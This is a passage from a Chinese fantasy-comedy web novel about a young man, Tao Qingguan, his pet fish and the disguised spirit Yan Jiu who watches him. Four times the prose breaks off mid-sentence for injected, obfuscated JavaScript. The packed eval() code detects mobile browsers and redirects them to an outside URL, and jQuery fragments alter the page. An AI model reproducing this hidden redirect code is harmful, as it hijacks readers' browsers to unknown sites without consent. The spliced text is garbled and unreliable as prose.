可果汁的后劲似乎上来了,他跟软脚虾一样,试了几次也没能爬起来,倒是胃里一阵难受,他拧起眉心,眼泪啪嗒啪嗒就落下来了。 陶清观自己都懵了,看着滴落在手指上的液体,水润的眼眸中透露出不知所措,好半天没回过神。 “唉。” 叹息声传来,带着主人的些许无奈。 身材高大的男人出现在鱼缸前,青丝如泼墨般飘逸柔顺,他穿着一袭青衣,衣摆处的云纹随着他的步伐若隐若现。 男人走到陶清观的面前,修长的手指夹住青年的脸颊,强迫对方抬起头来。 “现在知道哭了,活该。” 陶清观看着不知道从哪蹦出来的男人,眉心紧皱,为数不多的理智让他警惕起来,被捏着脸,他口齿不清地说道:“尼素谁?” 眼前的男人衣着华贵,剑眉星眸,五官轮廓分明,像是混血儿一般,纵使陶清观不是颜控,也被男人的美色晃了下眼。 宴氿懒得回答醉鬼的问题,他检查了下陶清观的身体状况,对方吃了过多能量充沛的食物,没法消化的能量全堆积在对方胃里,也就是陶清观体质特殊点,换个人来可能就爆体而亡了。 有趣。 宴氿眼底闪过一丝兴味,按照人类的分化,陶清观属于天赋极差的那一类,可偏偏这样一个小废物,对灵的容纳度却远超于常人。 万物有灵,得天厚爱的生灵会蕴藏大量的灵,人类也不例外,有天赋的人类甚至能通过体内的灵,去共鸣外界的灵,从而达到呼风唤雨的效果,所以正常来说,体内的灵越多越好。 但凡事有个度,对于灵来说,人类的身体就像一个容器,有大有小,一旦里面的水溢出,轻者经脉破损,重则当场殒命,像陶清观这般喝醉似的,身体却没受到半点影响的,他也是第一次见。 怪不得陶笠鹤放心这小孩瞎折腾,原来是身体够皮实。 宴氿松开手,他手劲大,这会儿功夫陶清观的脸都被他掐红了,两指红印放在白皙的皮肤上格外显眼。 他默了一下,抬手去擦陶清观脸上的印子,结果自然是擦不掉,他嘁了一声,心道,也没那么皮实。 倏然,微凉的液体滴落在他指尖,晶莹的泪珠短暂地停顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278587|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,又顺着他的指腹滑落,在被单上留下深色的水渍。 青年望着他,眼尾殷红,清透的眼眸像是蒙上一层薄雾,泪珠挂在眼角将落未落,再加上面上的指痕,活像他把人欺负了似的。 宴氿微怔,立即后退一步,唯恐避之不及,“不过捏了一下,你哭什么。” 听到宴氿的话,陶清观眨了眨眼,他不是爱哭的人,也没想哭的,只是眼泪跟失禁了似的,根本止不住,他用手去擦,怎么也擦不干净,眼泪如断了线的珍珠,床单上的痕迹越发明显。 他迟钝的大脑缓慢运转,却想不出缘由,整个人依旧晕乎乎的,他强打起精神,又问了一遍,“你是谁?” 青年故意板起脸,大概是想增加点威慑力,可他泪眼汪汪的样子实在无半点威慑力可言。 宴氿目光扫过陶清观,发觉些端倪,青年流出的眼泪内含有大量灵,就像是身体出发自我保护机制,将承受不住的灵排出体外,只是别人是七窍流血,到青年这成了泪流不止。 光凭陶清观哭,还不知道要哭到什么时候,看在陶笠鹤的面子上,宴氿抬手点了下陶清观的眉心,将对方体内囤积的灵打散了带出体外。 陶清观感觉身子骤然轻松许多,他睁着迷茫的眼眸看着面前的男人,虽然不知道对方究竟是谁,但直觉告诉他,对方并没有恶意。 他蹙着眉,突然灵光一现,“我知道了,你是玩cosplay的!但私闯民宅是犯法……” 晕眩感排山倒海的压来,他下意识抓住男人的衣袖,没来及细想,就陷入黑暗之中,残留在视网膜上的最后一幕,是男人深邃的眸子。 见陶清观睡着了,宴氿收回手,他眼眸中浮现些许疑惑,考斯佩雷是什么东西? 人类最近整出的新玩意真不少,宴氿掸了下衣摆,准备起身,刚站起一点,衣袖被扯了一下,他扫了眼,发现青年拽着他的衣袖,也不知道对方有什么执念,失去意识了,还紧拽着那片布料不撒手。 宴氿手上加了点力度,把青年的手扯开,他没再管趴在地上,姿势极其别扭的青年,拂袖…… 回到鱼缸里。 距离考核结束还有一个月,他自己定下的规矩,不和任何参赛者接触,直至选定契约人,他刚刚已是违规。 不过他定下这个规矩的初衷,是不想和一群人打交道,至于最后规矩遵不遵守,单看他心情如何了。 宴氿躲开要撞上来,想和自己一决高下的小黑,它游到礁石下,隔绝对方的骚扰,看着趴在地铺上的陶清观,它眼底划过一丝暗色。 陶笠鹤是这次考核的主审官,他本以为对方性子虽然不着调,但为人处事还是公正的,却没想到对方居然公权私用,把自家小辈安排在离他最近的地方,简直是司马昭之心,路人皆知。 宴氿的眼眸中似有深沉的思绪翻涌,平静无波的深海,在此刻暴露出藏在其下的暗流,但很快这些异样又消失无踪,它挪了挪身子,找了个舒适的地接着打盹儿。 人类想怎么折腾,他不关心,也懒得关心,左右选谁对他来说都没太大差别,不过比起外面那些脸上皱巴巴的家伙,显然陶清观更符合他的审美。 至于究竟选谁……到时再说。 5. 第 5 章 陶清观捂着脖子,企图给自己翻个身,也不知道昨晚他是怎么想的,趴在地上,扭着脖子睡了一整夜,清早起来,他有一瞬间怀疑脑袋都不在脖子上了。 他稍微转了下脑袋,酸爽感直冲天灵盖,陶清观当即表演了个,尖叫小猫痛苦抱头表情包。 这还不如脖子上没脑袋,陶清观面色扭曲。 缓一下再爬起来应该会好过一点,但昨晚喝了太多果汁,他这会儿已经要憋不住了,陶清观一边痛苦面具,一边艰难地爬起来。 脖子都这样了,身上不得更痛,陶清观严重怀疑自己昨晚喝的不是果汁,而是喝到假酒了。 他尝试回忆昨晚发生了什么,但印象中只有觉得困呼呼大睡的自己,除此之外—— 玩cosplay不能私闯民宅。 奇怪的念头冒出来,陶清观更加确定自己喝了假酒,这都说胡话了。 陶清观颤颤巍巍地迈出一步,预想之中的疼痛并没有降临,陶清观一愣,歪着脖子原地踏了两步,发现身体意外的利索,抛去脖子不谈,简直可以用神清气爽来形容。 他错了,不怪昨晚的果汁,完全是他的睡姿问题。 陶清观反思,自己的睡眠质量多少有点好过头了,那种别扭的姿势居然也能睡着。 他挪动了下身子,寻找方向,头歪着转不过来,视野被限制,陶清观只好斜着往厕所的方向走,小腹酸酸涨涨的,他心底着急,步子跨大了,绊到了视野盲区的空调被。 只听哐当地一声,梅开二度,他和地面来了个亲密接触。 但这次他运气没昨晚好,一屁股坐到了光滑的瓷砖上,本就受伤的尾椎骨,又一次受创,雪上加霜。 陶清观整个人被钉在原地,大脑一片空白,他嚎了一声,生理性泪水都被痛出来了。 汤姆的,好痛! 他颤抖着伸出手,扶着一旁的柜子换了个蹲着的姿势,屁股后边火辣辣的痛,陶清观都不敢伸手去碰,祖宅是和他的尾椎骨犯冲吗? 碎了吗?碎了吧,反正他要碎了。 陶清观身残志坚地重新站起来,他眼里只有厕所,弓着腰,一步一步往目标挪。 沉在鱼缸底部的宴氿围观了全程,鱼脸上露出一言难尽的表情。 这小孩,好像不太聪明的样子。 过了一会儿,陶清观拖着沉重的身体挪回大堂,屁股还是痛痛的,一沾到椅子沙发,疼痛更是超级加倍。 陶清观赤脚站在地铺上,做了好久心理准备,也没勇气坐下去,他短暂地犹豫了会,用侧躺的姿势玩手机。 但身子侧着,有只胳膊就被压着,陶清观调整了几次,还是感觉姿势别扭,他虚着眼一琢磨,果断换了个姿势。 陶清观:or2 身下垫着枕头,两手拿着手机在前边玩,除了姿势有点不太雅观,其他完美。 得亏家里只有他一个人在,不然这种羞耻的姿势他还做不出来,陶清观脸上有些燥热,但很快他就将这点羞耻抛之脑后,愉快地玩起手机。 一览无余的宴氿:“……” 是不太聪明。 陶清观当咸鱼一直趴到下午,中途他给两条鱼喂了顿饭,又吧唧趴了下去。 手机玩久了也有点无聊,陶清观打开带着红点聊天软件,去处理被忽略已久的消息。 熟悉的头像列在第一行,他的好同事给他发了十几条消息,陶清观点进去一看,最早一条消息已经是一两天前了。 心虚.jpg 可当陶清观看清消息内容,他立即化作冷漠无情的渣男,指尖上划,退出聊天界面。 又双叒叕给他发考公真题! 他的同事陆满满,来自考公大省——某东省,在干了几年活后,体内的考公血脉终于压制不住,在今年投入考公的怀抱。 陆满满自己考就算了,对方还一个劲地拉他入伍,手段包括但不限于,给他发考公真题,时不时问他两道经典大题,甚至陶清观行李箱里还有对方送的考公参考书大礼包。 陶清观:可以,但没必要。 人间不值得,他决定暂且单方面切断和陆满满之间的联系。 陶清观放下手机,一个姿势待久了,他身体有些僵硬,正好和手机待腻歪了,陶清观从地上爬起来,准备稍微活动一下。 距离产生美感,小别胜新婚,他等会儿再来宠幸爱妃。 外边骄阳似火,陶清观没有给自己找罪受的兴趣,于是他很自然地走到家里另外两个活物面前,语气贱贱的。 “养了你们这么久了还不会说话,你们好好反思一下。” 宴氿摆尾的动作一顿,视线落在陶清观身上。 是发现他了? 陶清观一点天赋都没有,更别说通过感受灵来辨别他的存在,其余人能发觉他的存在并不奇怪,但只有陶清观,除非他主动告知,对方没可能知道。 而昨晚在那么多灵的冲击下,他很确定陶清观肯定忘了那段记忆。 可现在…… 发觉他的存在也是考核加分项,陶笠鹤有点小心思是一回事,作弊又是另一回事了。 它心生不喜,但紧接着,它又听到一句。 “别的宠物会洗衣做饭,扫地拖地,你们两怎么能吃白食,出来蹦跶两下,我就当你们帮我拖地了。” 宴氿:“……”原来是单纯犯病。 陶清观拍了两下玻璃,到底是没手欠把鱼捞出来,他摆出一张严肃的脸,开口道:“你们要对这个家有贡献,从明天起,小白你外出捕鱼,小黑你再把自己养胖点。” 吸溜。 陶清观咽了口口水,眼神在小黑的身体上徘徊。 宴氿很想闭上眼,但鱼没有眼皮,它默默转了个身,背对着精神状态不太稳定的陶清观。 陶清观骚扰完两条鱼,心情明媚不少,他站直身子,舒展了下身子,伸了个大大的懒腰。 天气真好,时间宝贵,该考虑下一顿吃什么了。 他路过餐桌,昨晚喝剩下来的半瓶果汁闯入他的视野,陶清观停下脚步,一手抵着下巴,思考这玩意该怎么处理。 好喝是挺好喝的,但对他的小命不太友好。 他拿起果汁,对着瓶口闻了两下,依旧没闻到酒味。 陶清观确定自己的嗅觉和味觉都没问题,那真相只有一个,这个果汁有问题。 得出早就知道的结论,他煞有其事地点了下脑袋,陶清观把果汁扔给旁边嗷嗷待哺的垃圾桶,转身热菜去了。 …… 当小废物的时间过得飞快,陶清观成功过上梦寐以求的生活,吃了睡,睡了玩,玩了再吃,这才是活人应该有的状态。 一连摆烂的好几天,陶清观身心舒畅,整个人明媚了不少,中途他的好同事,坚持不懈地让他好好看书,他选择性无视。 他这人一向公私分明,休息就是休息,上班就是摸鱼。 又是一天中午,陶清观睡完午觉,摸过枕头旁的手机看了眼时间,发现时间还早,他站起身,活动了两下身子,心血来潮想把家里打扫一下。 当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278588|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他只准备打扫客厅,把祖宅全打扫一遍,那是在要他的命。 陶清观动起来,感觉有些热,他把上衣脱了,光着身子接着扫地,路过路过鱼缸时,他习惯性找鱼缸里的两条鱼聊天,经过几天的相处,陶清观感觉自己和两条鱼,已经建立的基础的革命友谊。 主要体现在他负责喂食,两条鱼给他提供情绪价值。 陶清观弯腰凑到鱼缸前,害羞的小白一如既往的缩在角落处的礁石下,而活泼的小黑这两天不知怎么了,总是靠着水面,双目无神,慢悠悠的游着,丝毫不见初入鱼缸时的欢脱。 “小黑,我感觉你长胖了。”陶清观敲了下鱼缸,“再胖下去可是要进油锅的。” 底下的宴氿听到陶清观的话,心底一阵无语。 能不胖么,都泡出巨人观了。 小黑上次换水的时候就不行了,偏偏陶清观这个养鱼新手没发现,照常把小黑放了回来,小黑的尸体就这么在水里泡了近三天,泡肿了一圈。 若是这次换水,陶清观还没发现小黑已经死了,它就要和这具尸体再待三天。 宴氿活这么大岁数了,如此清新脱俗的体验也是第一次遇到,它倒是不怕一具鱼的尸体,但在夏日炎热的天气下,纵使开着空调,小黑有点臭了。 不行,它受不了。 宴氿从水底游上去,一尾巴甩在小黑脑袋上。 小黑在水里连翻好几个跟头,鱼鳞掉了好几片,它摇摇晃晃地在原地转圈圈,肚皮渐渐向上翻去。 宴氿满意了,都翻肚皮了,陶清观再怎么蠢,也该发现小黑死了。 晃悠的小黑肚皮翻到一半,又缓缓转回去,它是被撑死的,肚子里塞了太多粮,重到浮都浮不起来。 眼看小黑恢复一开始的状态,宴氿又想闭眼了。 “嘿,不许打架。”陶清观眼睛睁圆瞪向小白,“你真会挑时候,小黑不舒服,你这是趁它病要它命啊。” 宴氿在心底长叹一口气,它也有点不舒服了。 陶清观完全没发现小黑的异常,教训完小白,继续扫地,等地扫完,汗水顺着他的发丝滴落,身上留下干涸的水痕,原本苍白的肌肤多了些生气,他随手挠了挠胳膊,汗珠往下滚的时候,总感觉痒痒的。 他抽了张纸,擦拭脖颈处的汗水,偏过头,目光又和小白对上,陶清观感觉有些奇怪,平时小白很害羞,喜欢躲在礁石下,只有被他骚扰的时候才会从礁石里又出来,今天怎么突然这么外向了。 陶清观踱步走过去,拍拍鱼缸,问道:“怎么了?饿了?” 宴氿沉默没法语,它冷酷无情又甩了小黑一尾巴,把小黑甩得原地玩起了旋转木马。 陶清观吃了一惊,注意到小黑掉鳞,他面露担忧,顾不得责骂小白,他打开鱼缸的盖子,伸手在水里轻轻搅和了两下,拦住转圈圈的小黑,问道: “小黑,你还好吗?” 小黑:…… 水流波动了半天,小黑也没蹿到别处,陶清观用指尖戳了下小黑,对方依旧一动不动,这下陶清观总算发觉不对劲。 他手一捞,把小黑从水里带了出来,掌心里的小黑死气沉沉,陶清观翻来覆去打量了一圈,认清了一个事实。 小黑死了! 宴氿看着陶清观耷拉着脑袋,眼神也变得悲伤,好像要下雨了,它心底微不可查地被戳了一下。 果然还是个小孩。 “怎么就死了,什么时候死的?”陶清观发出灵魂连问,“还能吃吗?” 宴氿:“……” 6. 第 6 章 陶清观把小黑埋在了后院里,埋的时候止不住的叹气。 太可惜了,虽然肉少,但新鲜啊,就是现在不太新鲜了。 陶清观回到屋内,在洗手台洗了好几遍手,洗完,他把手凑到鼻尖嗅了嗅,然后一脸嫌弃地拿开。 臭臭的。 他不过摸了一下就这么臭,那小白不得腌入味了,于是陶清观看着小白的眼神,也带上了嫌弃。 好在他还有点良心,没忘记把鱼缸里的水换上一遍,本来明天也该换了,提前一天不算太麻烦。 陶清观整理好鱼缸里东倒西歪的摆设,把小白从水盆里捞出来放进鱼缸里。 今天之前,鱼缸里还是快乐的两条小鱼,现在就剩下一条了,物是鱼非。 陶清观又叹了口气,手伸进鱼缸里拨弄了两下,“小白啊,你可得好好活着,家里就你这么一个独苗苗了。” 宴氿避开陶清观凑过来的手,游到缸底的礁石旁,这里水深,陶清观够不着。 要是放在以往,陶清观就放弃骚扰小白了,但今天,他硬是踮起脚,把小白逼到角落,跟恶霸一样,上去占小白便宜。 陶清观撸了下小白光滑的鳞片,嘴上花花,“还想跑,摸一下又不会少块肉,难道你是害羞的小母鱼?” 宴氿:“……”审经。 ‘小儿子’死了,陶清观把注意力全放在了‘大儿子’身上,每天骚扰小白的次数直线上升,他一腔父爱无处发泄,时不时就要拍拍鱼缸,看看小白死没死。 “还活着不?” “要不要我再帮你抓个小伙伴?” “你这年纪是怎么睡得着的,快起来游两圈。” “玩我抛你接吗?我抛一颗鱼食,你接一颗。” “……” 宴氿不堪其扰,一个头两个大。 人怎么能话多到这种地步。 俗话说,要么在沉默着爆发,要么在沉默中变态,宴氿实在受不了陶清观每天在自己耳边念经,决定给对方找点事做。 晚上,它趁陶清观睡着,从鱼缸里翻出来变回人形。 月光穿过窗户洒在瓷砖上,洁白如糖霜一般,乡下的夜晚纵使没有路灯,也不会到伸手不见五指的地步。 昏暗的光线没有对宴氿造成丝毫影响,他大步走到书房,在书架最顶端抽了本书带下楼,混在了茶几上,陶清观带回来的一堆书里。 每天中午,陶清观都会看会儿书,之前屁股没好的时候,是or2,这两天屁股不疼了,就坐沙发上看了。 还是太闲了,不然哪有那么多时间骚扰他。 宴氿塞完书,觉得不够,又发了几条消息给陶笠鹤。 远在几十公里外的陶笠鹤正干着活呢,突然收到几条特别关心发来的消息,他点开一看,绿色的对话框照亮他的脸: 给候选人安排跑早晚操,身体素质也应该是考核的一环。 陶笠鹤:“?”地铁、老人、手机.jpg 真的,他真该睡了,都出现幻觉了。 …… 陶清观一大清早被一二一的口令声吵醒,他摸过枕头旁的手机一看,才早上五点半。 他揉着眼睛满是怨念的爬起来,拖着沉重的步伐走到前面的窗户,让他看看,是哪个王八蛋扰人清梦。 陶清观啪地一下打开窗户,探出脑袋,一个整齐的队伍出现在他眼前。 穿着运动服的大叔大姨们,一个挨着一个,嘴里喊着口令,踩着小碎步往前跑,认真的架势堪比高中跑早操。 陶清观不敢置信,把眼睛闭上揉了几下再睁开,眼前的景色依旧。 他恍恍惚惚红红火火,现在都不流行广场舞,改为流行跑早操了? 真的,人不该早醒,都出现幻觉了。 陶清观一脸玄幻,他关上窗户,梦游似地往回走,在自己行李箱里一阵翻找。 同样被吵醒的宴氿,看见陶清观的动作,心中欣慰。 虽然陶清观没能准点醒来,但这会儿知道换衣服跟出去,也很不错了。 宴氿等着陶清观出门,再睡个回笼觉,结果它还没睡呢,陶清观先盖好小被了。 陶清观耳朵里塞上了耳机,耳机是刚刚翻找半天的成果,他听着舒适的白噪音,安详入眠。 宴氿盯着睡着的陶清观看了好一会儿,确认陶清观完全没有出去跑操的想法,它露出恨铁不成钢的表情。 太颓废了,小小年纪一点志向都没有。 陶清观:ZZZZZ…… 他一如既往睡到快十点再爬起来,陶清观抱着抱枕翻了个身,他向后伸手摸了两下自己可怜的尾椎骨,感觉好多了,只剩按下去还有点痛。 陶清观捞过手机,玩了会儿小游戏醒神,没有活干,他的作息也变得不规律起来,除了早上给小白喂食是定时定点的,其他事他都看心情来。 三餐饿了就吃,觉困了就睡。 不过这样虽然很爽,但过久了也有点没意思,他第一次知道,自己原来也有当抖M的潜质,喜欢被生活这个抖S来回磋磨。 太阳不知不觉爬上天空中央,树上的蝉无力地叫唤。 陶清观穿着另一条印着汤姆的大花裤衩,坐电风扇吹凉风,上衣被冷落在沙发角落,陶清观眯着眼,就差把脸怼在电风扇上。 天气越来越热,大堂里的水空调效果越来越差,陶清观严重怀疑后院井里的水,要么是烧开了,要么是蒸干了,总之跟他一样,都没活路可走。 陶清观心底不断嘀咕,心静自然凉,心静自然凉…… 怎么凉啊!他又不是尸体,凉不了一点。 陶清观随手薅过茶几上的书,放在腿上打开,他准备看上那么几页书催眠,睡过最热的时间,到晚上就凉快了。 他这些天午觉都是这么睡的,效果一级棒,几天下来,他看的页数,对书来说还是擦伤。 陶清观蔫蔫地开始看书,扫过第一行,他发现这本书不是自己之前看的,想着看什么无所谓,陶清观接着看了下去。 待他看完前两页后,陶清观不可思议地将书翻到封面,看到上面的《唤雨杂谈》,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278589|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中浮现迷茫。 现在考公已经卷到这种地步了? 继春天,夏天,秋天,冬天,哪个季节不一样,这种令人眼前一黑的题目后,又要开发玄学领域了!? 不确定,再看一眼。 陶清观把书页翻得哗哗响,最终确定这就是本彻头彻尾搞玄学的书。 他砸吧了下嘴,心中感慨,怪不得每年考公务员,都得削尖了脑袋往里面挤,这要是脑袋不够尖,根本挤不进去。 陶清观又把书翻回前边,接着第三页继续看。 这本书还挺有意思的,讲的是雨师后人的故事。 传闻雨师后人能与天地沟通,拥有呼风唤雨的本事,在旱年,雨师后人救下无数人的性命,只可惜人的力量终归有限,无法与自然抗衡,仍旧有许多人失去了性命。 而随着时代的变迁,关于雨师的传承渐渐褪色,很多雨师后人忘记了自己的身份,唤雨的能力也一同消散在过去的记忆之中。 陶清观看着插图上融入人群,泯然于众的雨师后人,翻页的手指顿住。 看似温和无害的时间,实际上却能摧毁一切,雨师的传承所剩无几,或许最后它会像从未出现过一般,悄然淡出历史的舞台。 陶清观心中有种道不明的惋惜感,他定了定神,将书翻向下一页。 和他猜想的一样,拥有唤雨能力的雨师后人越来越少,在人类学会人工降雨后,雨师的传承又一次遭受重创,失去作用的能力自然也失去了人类的重视。 可就在传承几乎断层的时候,意外突生,高速发展的科技破坏了生态平衡,即使人类尽力补救,破损的生态也少有起色,重新种下的树木怎么也无法恢复以往的繁华,同样的种植方法,收获的成果却远远不及以往。 生态不断变差,人类投入大量精力去寻找生态衰败的原因,最终他们在一块郁郁葱葱的田地里找到的答案。 人类从田地里发现了一种特殊物质,这种物质被称为灵。 万物有灵,灵不会消散,但却会转移,陆地的生态被破坏,原本藏于动植物中的灵溶于空气中,又随着雨水汇入大海,在大海中沉淀。 而这块田地的主人是雨师后人,还是有天赋,且接受了传承的雨师后人,他偶尔犯懒的时候,会以唤雨替代浇水,他也不清楚是怎么回事,但被唤来的雨水灌溉后的庄稼会更加繁茂。 这一发现得到重视,很快人类就找到了原因,雨师后人能将海水中的灵再次带回陆地,让陆地与海洋中的灵重新找回平衡。 于是雨师后人被国家召集起来,在国家的庇护下,这一传承重获新生,得到延续的机会。 看到这,陶清观恍然大悟,这不就是考改善环境的方法,和西气东输,南水北调,有异曲同工之妙。 不愧是考公题,这么新颖的角度都能找出来。 雨师后人虽然听着玄乎,但书的最后还不忘提到党和国家,让玄学与现实生活,现代局势相结合,充分发挥其特点与优势。 陶清观暗自点头,这玄乎的书是越看越红。 7. 第 7 章 陶清观合上最后一页,还有些意犹未尽,这本书字没有多少,插图却很多,很符合他看书的爱好。 难道他…… 是块考公的好料子? 陶清观手机震了一下,他瞥了一眼,他的好同事又给他发考公真题了。 这道题是他看的上一本书里的,正巧还是开头,陶清观记得这道题的答案,他拿起手机,自信回答,不出意料得到陆满满惊叹地夸赞。 陆满满:可以啊,你再看看这个【考公人自己的五三】 陆满满:【申论100题】 陆满满:【行测5000题】 陶清观:跪安吧。 陶清观一秒退出聊天界面,把手机一关,反手扣在桌子上。 真吓人,差点被知识污染,手机不干净了。 陶清观把身前的电风扇挪开,起身活动了下僵硬的身体,也不知道是温度下去了,还是心静真的有用,他感觉屋内凉快不少。 他头一歪,看见小白望着自己,陶清观摸了摸下巴,径直向鱼缸走去。 宴氿忽然感觉背后一凉,它默默游到礁石下边,避开陶清观的视线,它已经领会过了,这小孩看着白白净净的,实际上一肚子坏水。 陶清观往鱼缸前一顿,啪啪拍了两下鱼缸,“躲什么呢,爸爸只是想和你友爱互动一下。” 得亏宴氿现在是鱼形态,不然它脸都该绿了。 见过想和它攀关系的,想当它爸爸的真是第一次见,小孩岁数还没它零头大,倒是敢想。 宴氿往角落下的礁石钻,隔绝陶清观的视线,它没眼皮,只能这么眼不见为净了。 “我告诉你了,你这样很不利于我们两的感情发展。”陶清观不满小白东躲西藏,他一把屎一把尿喂了这么多天,怎么调脸就把他忘了。 他熟练地打开鱼缸盖子,踮起脚探出上半身,哼哧哼哧地挪动底下的大块礁石。 孩子没别的优点,就是劲大。 宴氿感觉周身的水里一阵晃动,陶清观的脸出现在它视野中,它不存在的嘴角微微抽搐,眼神要多复杂有多复杂。 倒也没必要这么执着。 它心底无奈,游上去撞了下陶清观的手臂。 别瞎折腾,距离考核结束还有大半个月,可别给它把鱼缸捣鼓碎了。 它都能想象出鱼缸碎了,陶清观会怎么安置它,那破破烂烂的小铁桶,掉色的碎料脸盆,闲置的绿色垃圾桶,总会有一个成为它的新家。 “哟,少爷,舍得出来啦。”陶清观撒开手,戳了下凑过来的小白,“原来你喜欢用强的,看不出来啊,你也是个抖M。” 宴氿:“……” 这种事就不要算上它了。 陶清观手指划过小白的鱼尾,如丝绸般顺滑的手感掠过指尖,虽然比不上撸毛茸茸,但也算别有一番风味。 就是小了点。 陶清观蹭了下小白的脊背,开口道:“你多吃点。” 宴氿狐疑地看了陶清观一眼。 小黑没吃上,跑过来打它的主意了? 宴氿身子一摆,躲过陶清观伸过来的手,摸两下得了,再摸就不礼貌了。 陶清观见小白逃跑,还想去捞,这时敲门声突然响起,打断了他动作。 他收回手,甩了甩手上的水,迈步向门口走去,自打上次他收了邻居们送的菜,那些人隔三差五就会来一趟送东西,他怎么推拒都没用。 这情况他当然也告诉了爷爷,但得到的回复全是相同的一句‘收着’。 陶清观都怀疑他爷爷是不是手里有什么把柄,不过握住一村人的把柄也蛮离谱的,陶清观眉心皱起,老头子不会背着他整出什么违法犯罪的事,晚洁不保吧。 他思忖着往前走,在他背后的宴氿,神色一凝。 这小孩光着身子去开门? 宴氿眼底浮现不赞同地色彩,它停在原地,动作罕见地有些踌躇,在看到陶清观回头拿过沙发扶手上的汗衫后,它顿了一下,游回鱼缸底部。 陶清观没注意到宴氿的小动作,他换好衣服,出去开门,来的人是位胖大叔,算上这次,这已经是陶清观第四次看见对方了。 胖大叔陈丰明面上笑呵呵的,手里拎着一大袋子吃的,丰满的身材完全不影响他灵活的动作,他如一尾游鱼,顺溜地从门缝隙里挤进来。 “小观啊,怎么样?在这里住得惯吗?”陈丰明和陶清观套近乎,“有什么需要尽管和叔说。” 伸手不打笑脸人,人都挤进来了,陶清观也不好把人赶出去。 他索性后退的一步,让门口的地宽敞点,“挺好的,不缺什么东西,你们上次送的东西我还没吃完呢,不用再给我送了。” 陈丰明像是听不懂陶清观的意思,拎着东西往房子的方向走,他空着的手比划了一个高度,嘴上念叨着:“之前见你的时候你才这么高,就喜欢跟在你爷爷屁股后面跑。” 陶清观笑笑,没有感情,全是技巧,“哈哈,是吗,我记不太清了。” 来了来了,熟悉的语气,熟悉的话术,每当许久不见,完全不熟的亲朋好友找上门来,说的话总是惊人的相似。 从院门到房门,陶清观愣是没找到机会接过陈丰明手中的东西,对方铁了心要进屋内,陶清观不着痕迹地蹙眉,拿不准陈丰明进门想做什么。 房子的门陶清观出来时没关,陈丰明十分自然地跨过门槛,“你那时候长得可漂亮了,人小姑娘都没你水灵,不过现在是个帅小伙子。” 陶清观尴尬得脚趾抠地,发出宛如人机地回答,“都随我妈。” “确实。”陈丰明肯定地点头,“雨霖能娶到你妈妈,真是撞大运了。” 说话间,陈丰明走过了玄关,他心脏砰砰作响,差点没抑制住眼底的激动,再走上两步,他就能看见龙王了,这届候选人,将是他第一个见到龙王! 透明的鱼缸出现在陈丰明眼前,那一尾白色的游鱼悄然掠过,接近透明的尾纱一晃而逝,陈丰明不由屏住呼吸,周围的一切都被他抛之脑后,他眼里只剩下那一抹白色。 陶清观就看着陈丰明跟中邪似的,话也不说了,大步往前走,然后—— 哐当! 陈丰明绊到了他的地铺,摔了个狗吃屎,身上的肥肉都撞出了水波纹。 陶清观只来及伸出手,但还是迟了一二三四步,听着陈丰明宛如杀猪似的鬼嚎,他也跟着倒吸一口凉气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15278590|166724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真疼呀。 陶清观在心底啧啧两声,快步走过去,伸手想把人扶起来,可他低估了陈丰明的体重,第一下没拽动。 他眉尖下压,后槽牙咬紧,使出吃奶的劲,可算把人拉了起来,但收手时,陶清观慢了一步,不小心把人往前拉了一点。 这本来也没什么,但陈丰明质量大,惯性也大,加上他脑子这会儿痛得不太灵光,忘记伸手扶住周边的东西稳住自己。 又是——哐! 陈丰明一脑袋撞到了鱼缸上。 看着痛得面色扭曲的陈丰明,陶清观略有些心虚,“呃……没事吧?” 陈丰明扶着鱼缸缓了好一会儿,勉强扯出一个苍白的笑容,虚弱地开口:“没事。” “没事就好,叔,这里乱,你小心点。”陶清观生怕给人摔出个好歹来,这可是在他家摔的,他要赔钱的。 陶清观虚扶着陈丰明一条胳膊,说道:“到沙发上坐着歇会吧。” 